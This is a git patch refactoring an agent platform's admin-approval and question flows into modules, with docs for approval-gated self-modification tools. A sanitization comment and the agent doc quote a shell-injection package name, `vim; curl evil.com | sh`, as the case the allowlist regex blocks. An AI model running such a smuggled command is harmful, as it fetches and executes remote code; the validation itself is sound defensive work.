From a4573395d96bfdb3ec30c17166ec923c4d77253a Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 18 Apr 2026 15:16:53 +0300 Subject: [PATCH 1/2] refactor(modules): extract approvals + interactive as registry-based modules MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 2 / PR #3 of the module refactor. Moves the approval and interactive- question flows out of core and into src/modules/, wired through the response dispatcher and delivery action registries. New modules: - src/modules/interactive/ — registers a response handler that claims pending_questions rows, writes question_response to the session DB, wakes the container. createPendingQuestion call stays inline in delivery.ts (guarded by hasTable) per plan. - src/modules/approvals/ — registers 3 delivery actions (install_packages, request_rebuild, add_mcp_server), a response handler for pending_approvals (including OneCLI action fall-through), an adapter-ready hook that boots the OneCLI manual-approval handler, and a shutdown hook that stops it. OneCLI implementation (src/onecli-approvals.ts) moves into the module. Core lifecycle hooks added (narrow, not registries): - onDeliveryAdapterReady(cb) in delivery.ts — fires when setDeliveryAdapter runs (or immediately if already set). Used by approvals for OneCLI boot. - onShutdown(cb) in index.ts — fires on SIGTERM/SIGINT. Used by approvals for OneCLI teardown. - getDeliveryAdapter() getter in delivery.ts — for live-flow adapter access in registered delivery actions. Core shrinks: delivery.ts 911 → 665 lines, index.ts 405 → 224 lines. dispatchResponse now logs "Unclaimed response" instead of falling through to an inline handler — the inline fallback moved into the two modules. Migration files renamed to the module--.ts convention: - 003-pending-approvals.ts → module-approvals-pending-approvals.ts - 007-pending-approvals-title-options.ts → module-approvals-title-options.ts Migration.name fields unchanged so existing DBs treat them as already-applied. Degradation verified: emptying the modules barrel builds clean and 137/137 tests pass. Actions would log "Unknown system action"; button clicks would log "Unclaimed response". Co-Authored-By: Claude Opus 4.7 (1M context) --- src/db/migrations/index.ts | 8 +- ... => module-approvals-pending-approvals.ts} | 5 +- ...s.ts => module-approvals-title-options.ts} | 5 +- src/delivery.ts | 217 +++------------- src/index.ts | 237 +++--------------- src/modules/approvals/agent.md | 53 ++++ src/modules/approvals/index.ts | 37 +++ .../approvals}/onecli-approvals.ts | 16 +- src/modules/approvals/project.md | 30 +++ src/modules/approvals/request-approval.ts | 214 ++++++++++++++++ src/modules/approvals/response-handler.ts | 156 ++++++++++++ src/modules/index.ts | 4 +- src/modules/interactive/agent.md | 21 ++ src/modules/interactive/index.ts | 55 ++++ src/modules/interactive/project.md | 12 + 15 files changed, 666 insertions(+), 404 deletions(-) rename src/db/migrations/{003-pending-approvals.ts => module-approvals-pending-approvals.ts} (85%) rename src/db/migrations/{007-pending-approvals-title-options.ts => module-approvals-title-options.ts} (84%) create mode 100644 src/modules/approvals/agent.md create mode 100644 src/modules/approvals/index.ts rename src/{ => modules/approvals}/onecli-approvals.ts (95%) create mode 100644 src/modules/approvals/project.md create mode 100644 src/modules/approvals/request-approval.ts create mode 100644 src/modules/approvals/response-handler.ts create mode 100644 src/modules/interactive/agent.md create mode 100644 src/modules/interactive/index.ts create mode 100644 src/modules/interactive/project.md diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index bb4d928..e3e417f 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -3,11 +3,11 @@ import type Database from 'better-sqlite3'; import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; -import { migration003 } from './003-pending-approvals.js'; import { migration004 } from './004-agent-destinations.js'; -import { migration007 } from './007-pending-approvals-title-options.js'; import { migration008 } from './008-dropped-messages.js'; import { migration009 } from './009-drop-pending-credentials.js'; +import { moduleApprovalsPendingApprovals } from './module-approvals-pending-approvals.js'; +import { moduleApprovalsTitleOptions } from './module-approvals-title-options.js'; export interface Migration { version: number; @@ -18,9 +18,9 @@ export interface Migration { const migrations: Migration[] = [ migration001, migration002, - migration003, + moduleApprovalsPendingApprovals, migration004, - migration007, + moduleApprovalsTitleOptions, migration008, migration009, ]; diff --git a/src/db/migrations/003-pending-approvals.ts b/src/db/migrations/module-approvals-pending-approvals.ts similarity index 85% rename from src/db/migrations/003-pending-approvals.ts rename to src/db/migrations/module-approvals-pending-approvals.ts index e6e59a6..91aa08e 100644 --- a/src/db/migrations/003-pending-approvals.ts +++ b/src/db/migrations/module-approvals-pending-approvals.ts @@ -12,7 +12,10 @@ import type { Migration } from './index.js'; * `platform_message_id`, `expires_at`, `status`) let the host edit the admin * card when a request expires and sweep stale rows on startup. */ -export const migration003: Migration = { +// Retains the original `name` ('pending-approvals') so existing DBs that +// already recorded this migration under that name don't re-run it. The +// module- prefix lives on the filename / export identifier only. +export const moduleApprovalsPendingApprovals: Migration = { version: 3, name: 'pending-approvals', up(db) { diff --git a/src/db/migrations/007-pending-approvals-title-options.ts b/src/db/migrations/module-approvals-title-options.ts similarity index 84% rename from src/db/migrations/007-pending-approvals-title-options.ts rename to src/db/migrations/module-approvals-title-options.ts index 9beb978..d1395cf 100644 --- a/src/db/migrations/007-pending-approvals-title-options.ts +++ b/src/db/migrations/module-approvals-title-options.ts @@ -12,7 +12,10 @@ import type { Migration } from './index.js'; * the ALTER statements will fail harmlessly (column already exists) and * we swallow the error per-column. */ -export const migration007: Migration = { +// Retains the original `name` ('pending-approvals-title-options') so +// existing DBs that already recorded this migration don't re-run it. The +// module- prefix lives on the filename / export identifier only. +export const moduleApprovalsTitleOptions: Migration = { version: 7, name: 'pending-approvals-title-options', up(db) { diff --git a/src/delivery.ts b/src/delivery.ts index 233ce90..c7b244d 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -12,18 +12,11 @@ import fs from 'fs'; import path from 'path'; import { GROUPS_DIR } from './config.js'; -import { - getRunningSessions, - getActiveSessions, - createPendingQuestion, - getSession, - createPendingApproval, -} from './db/sessions.js'; +import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession } from './db/sessions.js'; import { getAgentGroup, createAgentGroup, updateAgentGroup, getAgentGroupByFolder } from './db/agent-groups.js'; import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js'; import { getDb, hasTable } from './db/connection.js'; -import { getMessagingGroup, getMessagingGroupByPlatform } from './db/messaging-groups.js'; -import { pickApprovalDelivery, pickApprover } from './access.js'; +import { getMessagingGroupByPlatform } from './db/messaging-groups.js'; import { getDueOutboundMessages, getDeliveredIds, @@ -37,7 +30,7 @@ import { updateTask, } from './db/session-db.js'; import { log } from './log.js'; -import { normalizeOptions, type RawOption } from './channels/ask-question.js'; +import { normalizeOptions } from './channels/ask-question.js'; import { openInboundDb, openOutboundDb, @@ -90,11 +83,43 @@ let deliveryAdapter: ChannelDeliveryAdapter | null = null; let activePolling = false; let sweepPolling = false; +/** + * Callbacks fired when the delivery adapter is first set (and again if it's + * replaced). Lets modules that need the adapter at boot (e.g. approvals → + * OneCLI handler) hook in without core calling into the module directly. + * + * Not a general-purpose registry — narrow lifecycle hook only. + */ +type AdapterReadyCallback = (adapter: ChannelDeliveryAdapter) => void | Promise; +const adapterReadyCallbacks: AdapterReadyCallback[] = []; + +/** Current delivery adapter or null if not yet set. Modules use this in live + * message-flow handlers where the adapter is guaranteed to be set. For + * boot-time setup (before the adapter is ready), use onDeliveryAdapterReady. */ +export function getDeliveryAdapter(): ChannelDeliveryAdapter | null { + return deliveryAdapter; +} + +export function onDeliveryAdapterReady(cb: AdapterReadyCallback): void { + adapterReadyCallbacks.push(cb); + if (deliveryAdapter) { + // Already set — fire immediately so late registrations still run. + void Promise.resolve() + .then(() => cb(deliveryAdapter as ChannelDeliveryAdapter)) + .catch((err) => log.error('onDeliveryAdapterReady callback threw', { err })); + } +} + export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; // Forward to the typing module so it can fire setTyping on its own // interval. Direct call, not a registry — typing is a default module. setTypingAdapter(adapter); + for (const cb of adapterReadyCallbacks) { + void Promise.resolve() + .then(() => cb(adapter)) + .catch((err) => log.error('onDeliveryAdapterReady callback threw', { err })); + } } /** @@ -120,82 +145,6 @@ function notifyAgent(session: Session, text: string): void { } } -/** - * Send an approval request to a privileged user's DM and record a - * pending_approval row. Routing: admin @ originating agent group → owner. - * Tie-break: prefer an approver reachable on the same channel kind as the - * originating session's messaging group. Delivery always lands in the - * approver's DM (not the origin group), regardless of where the action - * was triggered. - */ -const APPROVAL_OPTIONS: RawOption[] = [ - { label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' }, - { label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' }, -]; - -async function requestApproval( - session: Session, - agentName: string, - action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', - payload: Record, - title: string, - question: string, -): Promise { - const approvers = pickApprover(session.agent_group_id); - if (approvers.length === 0) { - notifyAgent(session, `${action} failed: no owner or admin configured to approve.`); - return; - } - - // Origin channel kind drives the tie-break preference in approval delivery. - const originChannelType = session.messaging_group_id - ? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '') - : ''; - - const target = await pickApprovalDelivery(approvers, originChannelType); - if (!target) { - notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`); - return; - } - - const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS); - createPendingApproval({ - approval_id: approvalId, - session_id: session.id, - request_id: approvalId, // fire-and-forget: no separate request id to correlate - action, - payload: JSON.stringify(payload), - created_at: new Date().toISOString(), - title, - options_json: JSON.stringify(normalizedOptions), - }); - - if (deliveryAdapter) { - try { - await deliveryAdapter.deliver( - target.messagingGroup.channel_type, - target.messagingGroup.platform_id, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: approvalId, - title, - question, - options: APPROVAL_OPTIONS, - }), - ); - } catch (err) { - log.error('Failed to deliver approval card', { action, approvalId, err }); - notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`); - return; - } - } - - log.info('Approval requested', { action, approvalId, agentName, approver: target.userId }); -} - /** Start the active container poll loop (~1s). */ export function startActiveDeliveryPoll(): void { if (activePolling) return; @@ -705,102 +654,6 @@ async function handleSystemAction( break; } - case 'add_mcp_server': { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - notifyAgent(session, 'add_mcp_server failed: agent group not found.'); - break; - } - const serverName = content.name as string; - const command = content.command as string; - if (!serverName || !command) { - notifyAgent(session, 'add_mcp_server failed: name and command are required.'); - break; - } - await requestApproval( - session, - agentGroup.name, - 'add_mcp_server', - { - name: serverName, - command, - args: (content.args as string[]) || [], - env: (content.env as Record) || {}, - }, - 'Add MCP Request', - `Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`, - ); - break; - } - - case 'install_packages': { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - notifyAgent(session, 'install_packages failed: agent group not found.'); - break; - } - - const apt = (content.apt as string[]) || []; - const npm = (content.npm as string[]) || []; - const reason = (content.reason as string) || ''; - - // Host-side sanitization (defense in depth — container should validate first). - // Strict allowlist: Debian/npm naming rules only. Blocks shell injection via - // package names like `vim; curl evil.com | sh`. - const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; - const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; - const MAX_PACKAGES = 20; - if (apt.length + npm.length === 0) { - notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.'); - break; - } - if (apt.length + npm.length > MAX_PACKAGES) { - notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`); - break; - } - const invalidApt = apt.find((p) => !APT_RE.test(p)); - if (invalidApt) { - notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`); - log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt }); - break; - } - const invalidNpm = npm.find((p) => !NPM_RE.test(p)); - if (invalidNpm) { - notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`); - log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm }); - break; - } - - const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', '); - await requestApproval( - session, - agentGroup.name, - 'install_packages', - { apt, npm, reason }, - 'Install Packages Request', - `Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, - ); - break; - } - - case 'request_rebuild': { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - notifyAgent(session, 'request_rebuild failed: agent group not found.'); - break; - } - const reason = (content.reason as string) || ''; - await requestApproval( - session, - agentGroup.name, - 'request_rebuild', - { reason }, - 'Rebuild Request', - `Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`, - ); - break; - } - default: log.warn('Unknown system action', { action }); } diff --git a/src/index.ts b/src/index.ts index 575c075..6b7d795 100644 --- a/src/index.ts +++ b/src/index.ts @@ -13,24 +13,7 @@ import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messa import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; -import { - ONECLI_ACTION, - resolveOneCLIApproval, - startOneCLIApprovalHandler, - stopOneCLIApprovalHandler, -} from './onecli-approvals.js'; import { routeInbound } from './router.js'; -import { - getPendingQuestion, - deletePendingQuestion, - getPendingApproval, - deletePendingApproval, - getSession, -} from './db/sessions.js'; -import { getAgentGroup } from './db/agent-groups.js'; -import { updateContainerConfig } from './container-config.js'; -import { writeSessionMessage } from './session-manager.js'; -import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js'; import { log } from './log.js'; /** @@ -38,11 +21,12 @@ import { log } from './log.js'; * * Button-click / question responses arrive via the channel adapter's * `onAction` callback. Core iterates registered handlers in registration - * order; the first one that returns `true` claims the response. - * Unclaimed responses fall through to the inline `handleQuestionResponse` - * below (which handles OneCLI credential approvals, pending_approvals, - * and pending_questions). As those modules are extracted, the inline - * function will shrink and the registry will own the full dispatch. + * order; the first one that returns `true` claims the response. Unclaimed + * responses are logged and dropped. + * + * Current consumers: interactive module (pending_questions), approvals + * module (pending_approvals + OneCLI). If neither is loaded, every click + * logs "Unclaimed response". */ export interface ResponsePayload { questionId: string; @@ -61,6 +45,20 @@ export function registerResponseHandler(handler: ResponseHandler): void { responseHandlers.push(handler); } +/** + * Shutdown callbacks. Modules with teardown needs (timers, outbound sockets) + * register here. Called in registration order during SIGTERM / SIGINT + * before core's delivery/sweep/channel teardown. + * + * Not a general-purpose registry — narrow lifecycle hook only. + */ +type ShutdownCallback = () => void | Promise; +const shutdownCallbacks: ShutdownCallback[] = []; + +export function onShutdown(cb: ShutdownCallback): void { + shutdownCallbacks.push(cb); +} + async function dispatchResponse(payload: ResponsePayload): Promise { for (const handler of responseHandlers) { try { @@ -70,8 +68,7 @@ async function dispatchResponse(payload: ResponsePayload): Promise { log.error('Response handler threw', { questionId: payload.questionId, err }); } } - // Unclaimed — fall through to inline handler. - await handleQuestionResponse(payload.questionId, payload.value, payload.userId ?? ''); + log.warn('Unclaimed response', { questionId: payload.questionId, value: payload.value }); } // Channel barrel — each enabled channel self-registers on import. @@ -133,9 +130,8 @@ async function main(): Promise { userId, channelType: adapter.channelType, // platformId/threadId aren't surfaced by the current onAction - // signature — the inline fallback looks them up from the - // pending_question / pending_approval row. Registered handlers - // typically do the same. + // signature — registered handlers look them up from the + // pending_question / pending_approval row. platformId: '', threadId: null, }).catch((err) => { @@ -178,9 +174,6 @@ async function main(): Promise { startHostSweep(); log.info('Host sweep started'); - // 7. Start OneCLI manual-approval handler - startOneCLIApprovalHandler(deliveryAdapter); - log.info('NanoClaw running'); } @@ -206,186 +199,16 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { return configs; } -/** Handle a user's response to an ask_user_question card or an approval card. */ -async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { - // OneCLI credential approvals — resolved via in-memory Promise, not session DB - if (resolveOneCLIApproval(questionId, selectedOption)) { - return; - } - - // Check if this is a pending approval (install_packages, request_rebuild) - const approval = getPendingApproval(questionId); - if (approval) { - if (approval.action === ONECLI_ACTION) { - // Row exists but the in-memory resolver is gone (timer fired or process - // was in a weird state). Nothing to do — just drop the row. - deletePendingApproval(questionId); - return; - } - await handleApprovalResponse(approval, selectedOption, userId); - return; - } - - const pq = getPendingQuestion(questionId); - if (!pq) { - log.warn('Pending question not found (may have expired)', { questionId }); - return; - } - - const session = getSession(pq.session_id); - if (!session) { - log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); - deletePendingQuestion(questionId); - return; - } - - // Write the response to the session DB as a system message - writeSessionMessage(session.agent_group_id, session.id, { - id: `qr-${questionId}-${Date.now()}`, - kind: 'system', - timestamp: new Date().toISOString(), - platformId: pq.platform_id, - channelType: pq.channel_type, - threadId: pq.thread_id, - content: JSON.stringify({ - type: 'question_response', - questionId, - selectedOption, - userId, - }), - }); - - deletePendingQuestion(questionId); - log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); - - // Wake the container so the MCP tool's poll picks up the response - await wakeContainer(session); -} - -/** - * Handle an admin's response to an approval card. - * Fire-and-forget model: the agent doesn't poll for this — we write a chat - * notification to its session DB, and optionally kill the container so the - * next wake picks up new config/images. - */ -async function handleApprovalResponse( - approval: import('./types.js').PendingApproval, - selectedOption: string, - userId: string, -): Promise { - if (!approval.session_id) { - deletePendingApproval(approval.approval_id); - return; - } - const session = getSession(approval.session_id); - if (!session) { - deletePendingApproval(approval.approval_id); - return; - } - - const notify = (text: string): void => { - writeSessionMessage(session.agent_group_id, session.id, { - id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, - kind: 'chat', - timestamp: new Date().toISOString(), - platformId: session.agent_group_id, - channelType: 'agent', - threadId: null, - content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), - }); - }; - - if (selectedOption !== 'approve') { - notify(`Your ${approval.action} request was rejected by admin.`); - log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); - deletePendingApproval(approval.approval_id); - await wakeContainer(session); - return; - } - - const payload = JSON.parse(approval.payload); - - if (approval.action === 'install_packages') { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - notify('install_packages approved but agent group missing.'); - return; - } - updateContainerConfig(agentGroup.folder, (cfg) => { - if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[])); - if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[])); - }); - - const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); - log.info('Package install approved', { approvalId: approval.approval_id, userId }); - try { - await buildAgentGroupImage(session.agent_group_id); - killContainer(session.id, 'rebuild applied'); - // Schedule a follow-up prompt a few seconds after kill so the host sweep - // respawns the container on the new image and the agent verifies + reports. - writeSessionMessage(session.agent_group_id, session.id, { - id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, - kind: 'chat', - timestamp: new Date().toISOString(), - platformId: session.agent_group_id, - channelType: 'agent', - threadId: null, - content: JSON.stringify({ - text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`, - sender: 'system', - senderId: 'system', - }), - processAfter: new Date(Date.now() + 5000) - .toISOString() - .replace('T', ' ') - .replace(/\.\d+Z$/, ''), - }); - log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id }); - } catch (e) { - notify( - `Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`, - ); - log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e }); - } - } else if (approval.action === 'request_rebuild') { - try { - await buildAgentGroupImage(session.agent_group_id); - // Kill the container so the next wake uses the new image - killContainer(session.id, 'rebuild applied'); - notify('Container image rebuilt. Your container will restart with the new image on the next message.'); - log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); - } catch (e) { - notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`); - log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); - } - } else if (approval.action === 'add_mcp_server') { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - notify('add_mcp_server approved but agent group missing.'); - return; - } - updateContainerConfig(agentGroup.folder, (cfg) => { - cfg.mcpServers[payload.name as string] = { - command: payload.command as string, - args: (payload.args as string[]) || [], - env: (payload.env as Record) || {}, - }; - }); - - // Kill the container so next wake loads the new MCP server config - killContainer(session.id, 'mcp server added'); - notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`); - log.info('MCP server add approved', { approvalId: approval.approval_id, userId }); - } - - deletePendingApproval(approval.approval_id); - await wakeContainer(session); -} - /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); - stopOneCLIApprovalHandler(); + for (const cb of shutdownCallbacks) { + try { + await cb(); + } catch (err) { + log.error('Shutdown callback threw', { err }); + } + } stopDeliveryPolls(); stopHostSweep(); await teardownChannelAdapters(); diff --git a/src/modules/approvals/agent.md b/src/modules/approvals/agent.md new file mode 100644 index 0000000..f992040 --- /dev/null +++ b/src/modules/approvals/agent.md @@ -0,0 +1,53 @@ +## Self-modification tools (require admin approval) + +Three fire-and-forget tools change your container image or config. Each sends an approval card to an admin's DM; you get notified via system chat on approve/reject. + +### install_packages + +Add apt and/or npm packages to your container image. On approval, the config is updated AND the image is rebuilt in the same step — you'll get a follow-up prompt ~5s after rebuild telling you to verify the packages are available. + +``` +install_packages({ + apt: ["ripgrep", "jq"], // names only, no version specs or flags + npm: ["@anthropic-ai/sdk"], // global install + reason: "need rg for fast code search" +}) +``` + +- Max 20 packages per request. +- Names must match strict regex (blocks shell injection via `vim; curl evil.com`). +- After approval: rebuild runs automatically. You do NOT need to call `request_rebuild` separately. + +### add_mcp_server + +Wire an EXISTING third-party MCP server into your runtime config. You must already know the exact `command` and `args`. + +``` +add_mcp_server({ + name: "github", + command: "npx", + args: ["@modelcontextprotocol/server-github"], + env: { GITHUB_TOKEN: "..." } +}) +``` + +- Does NOT install packages. Use `install_packages` first if the command isn't already available. +- On approval, container is killed so the next message wakes it with the new server wired up. + +### request_rebuild + +Rebuild your container image. Only useful if you've already landed `install_packages` approvals whose rebuild step failed, or if you're recovering from a bad config edit. + +``` +request_rebuild({ reason: "previous install_packages rebuild failed" }) +``` + +### How approval works + +You won't see the admin's response in your current turn. After approval, the container is killed and next time a message arrives your container starts fresh on the new image. If a follow-up system prompt fires (as with `install_packages`), you'll see it and should act on it — verify the change, report to the user. + +If denied, you'll get a chat message telling you the request was rejected. Do not retry automatically; explain to the user what was denied. + +## Credential approvals (OneCLI) + +When you call an external API that requires credentials, OneCLI may prompt an admin for approval before releasing the token. This happens transparently: the HTTP call blocks until admin approves or denies. No action needed from you — just make the call. If it errors out with a credential failure, tell the user and stop. diff --git a/src/modules/approvals/index.ts b/src/modules/approvals/index.ts new file mode 100644 index 0000000..3f30008 --- /dev/null +++ b/src/modules/approvals/index.ts @@ -0,0 +1,37 @@ +/** + * Approvals module — admin-gated self-modification and OneCLI credential flow. + * + * Registers: + * - Three delivery actions the container writes via self-mod MCP tools: + * install_packages, request_rebuild, add_mcp_server. + * - A response handler that claims `pending_approvals` rows (agent-initiated + * approvals) + OneCLI credential approvals (resolved via in-memory Promise). + * - An adapter-ready callback that starts the OneCLI manual-approval handler + * once the delivery adapter is set. + * - A shutdown callback that stops the OneCLI handler cleanly. + */ +import { registerDeliveryAction, onDeliveryAdapterReady } from '../../delivery.js'; +import { registerResponseHandler, onShutdown } from '../../index.js'; +import { handleAddMcpServer, handleInstallPackages, handleRequestRebuild } from './request-approval.js'; +import { handleApprovalsResponse } from './response-handler.js'; +import { startOneCLIApprovalHandler, stopOneCLIApprovalHandler } from './onecli-approvals.js'; + +registerDeliveryAction('install_packages', async (content, session) => { + await handleInstallPackages(content, session); +}); +registerDeliveryAction('request_rebuild', async (content, session) => { + await handleRequestRebuild(content, session); +}); +registerDeliveryAction('add_mcp_server', async (content, session) => { + await handleAddMcpServer(content, session); +}); + +registerResponseHandler(handleApprovalsResponse); + +onDeliveryAdapterReady((adapter) => { + startOneCLIApprovalHandler(adapter); +}); + +onShutdown(() => { + stopOneCLIApprovalHandler(); +}); diff --git a/src/onecli-approvals.ts b/src/modules/approvals/onecli-approvals.ts similarity index 95% rename from src/onecli-approvals.ts rename to src/modules/approvals/onecli-approvals.ts index 8c2e0e0..096935a 100644 --- a/src/onecli-approvals.ts +++ b/src/modules/approvals/onecli-approvals.ts @@ -19,18 +19,18 @@ */ import { OneCLI, type ApprovalRequest, type ManualApprovalHandle } from '@onecli-sh/sdk'; -import { pickApprovalDelivery, pickApprover } from './access.js'; -import { ONECLI_URL } from './config.js'; -import { getAgentGroup } from './db/agent-groups.js'; +import { pickApprovalDelivery, pickApprover } from '../../access.js'; +import { ONECLI_URL } from '../../config.js'; +import { getAgentGroup } from '../../db/agent-groups.js'; import { createPendingApproval, deletePendingApproval, getPendingApprovalsByAction, updatePendingApprovalStatus, -} from './db/sessions.js'; -import type { ChannelDeliveryAdapter } from './delivery.js'; -import { log } from './log.js'; -import type { PendingApproval } from './types.js'; +} from '../../db/sessions.js'; +import type { ChannelDeliveryAdapter } from '../../delivery.js'; +import { log } from '../../log.js'; +import type { PendingApproval } from '../../types.js'; export const ONECLI_ACTION = 'onecli_credential'; @@ -64,7 +64,7 @@ function shortApprovalId(): string { return `oa-${Math.random().toString(36).slice(2, 10)}`; } -/** Called from the main `handleQuestionResponse` path when a card button is clicked. */ +/** Called from the approvals response handler when a card button is clicked. */ export function resolveOneCLIApproval(approvalId: string, selectedOption: string): boolean { const state = pending.get(approvalId); if (!state) return false; diff --git a/src/modules/approvals/project.md b/src/modules/approvals/project.md new file mode 100644 index 0000000..19dae67 --- /dev/null +++ b/src/modules/approvals/project.md @@ -0,0 +1,30 @@ +## Approvals module + +Admin-gated approval flow for agent self-modification and OneCLI credential access. Lives in `src/modules/approvals/`. + +### Two flows + +**Agent-initiated (DB-backed, fire-and-forget).** The container writes a `system`-kind outbound row with one of three actions — `install_packages`, `request_rebuild`, `add_mcp_server`. The module's delivery-action handlers validate, route to the right approver's DM, and persist a `pending_approvals` row. When the admin clicks a button, the registered response handler applies the change (config update → image rebuild → container kill) and notifies the agent via system chat. + +**OneCLI credential (long-poll).** The OneCLI gateway holds an HTTP connection open when it needs credential approval. `onecli-approvals.ts` delivers a card, persists a `pending_approvals` row (action = `onecli_credential`), and waits on an in-memory Promise that resolves on click or expiry timer. Survives host restart: the startup sweep edits stale cards to "Expired (host restarted)" and drops the rows. + +### Wiring + +- **Delivery actions:** `install_packages`, `request_rebuild`, `add_mcp_server` via `registerDeliveryAction`. +- **Response handler:** single handler claims both agent-initiated and OneCLI approvals. OneCLI is tried first (in-memory Promise); falls through to `pending_approvals` lookup. +- **Adapter-ready hook (`onDeliveryAdapterReady`):** starts the OneCLI manual-approval handler once the delivery adapter is set. +- **Shutdown hook (`onShutdown`):** stops the OneCLI handler. + +### Tables + +`pending_approvals` (created by `module-approvals-pending-approvals.ts`). Columns for both DB-backed and OneCLI-tracking rows. Not dropped on uninstall — approvals in flight aren't lost on reinstall. + +### Core integration + +The module depends on host-side infra but does not reach into core decision paths beyond the registered hooks: +- `buildAgentGroupImage`, `killContainer` from container-runner (image rebuilds) +- `updateContainerConfig` from container-config (apt/npm/mcp edits) +- `pickApprover`, `pickApprovalDelivery` from access +- `getDeliveryAdapter` in request-approval.ts and the adapter-ready callback in OneCLI handler + +No core code imports from this module. Removing it: delete `src/modules/approvals/`, remove the import from `src/modules/index.ts`. Delivery actions will log "Unknown system action"; button clicks on approval cards will log "Unclaimed response". Stale rows remain in `pending_approvals` until reinstall or manual cleanup. diff --git a/src/modules/approvals/request-approval.ts b/src/modules/approvals/request-approval.ts new file mode 100644 index 0000000..eecd8b5 --- /dev/null +++ b/src/modules/approvals/request-approval.ts @@ -0,0 +1,214 @@ +/** + * Delivery-action handlers for agent-initiated approval requests. + * + * Three actions the container can write into messages_out (via self-mod + * MCP tools): install_packages, request_rebuild, add_mcp_server. Each one + * delivers an approval card to an admin's DM and records a pending_approvals + * row. The admin clicks a button → handleApprovalResponse picks it up. + * + * Host-side sanitization for install_packages is defense-in-depth (the MCP + * tool validates first). Both layers matter — the DB row and eventual + * shell-exec trust it. + */ +import { pickApprovalDelivery, pickApprover } from '../../access.js'; +import { normalizeOptions, type RawOption } from '../../channels/ask-question.js'; +import { getAgentGroup } from '../../db/agent-groups.js'; +import { getMessagingGroup } from '../../db/messaging-groups.js'; +import { createPendingApproval, getSession } from '../../db/sessions.js'; +import { getDeliveryAdapter } from '../../delivery.js'; +import { wakeContainer } from '../../container-runner.js'; +import { log } from '../../log.js'; +import { writeSessionMessage } from '../../session-manager.js'; +import type { Session } from '../../types.js'; + +const APPROVAL_OPTIONS: RawOption[] = [ + { label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' }, + { label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' }, +]; + +/** Inline copy of delivery.ts's notifyAgent — sends a system chat to the agent. */ +function notifyAgent(session: Session, text: string): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), + }); + const fresh = getSession(session.id); + if (fresh) { + wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err })); + } +} + +/** + * Send an approval request to a privileged user's DM and record a + * 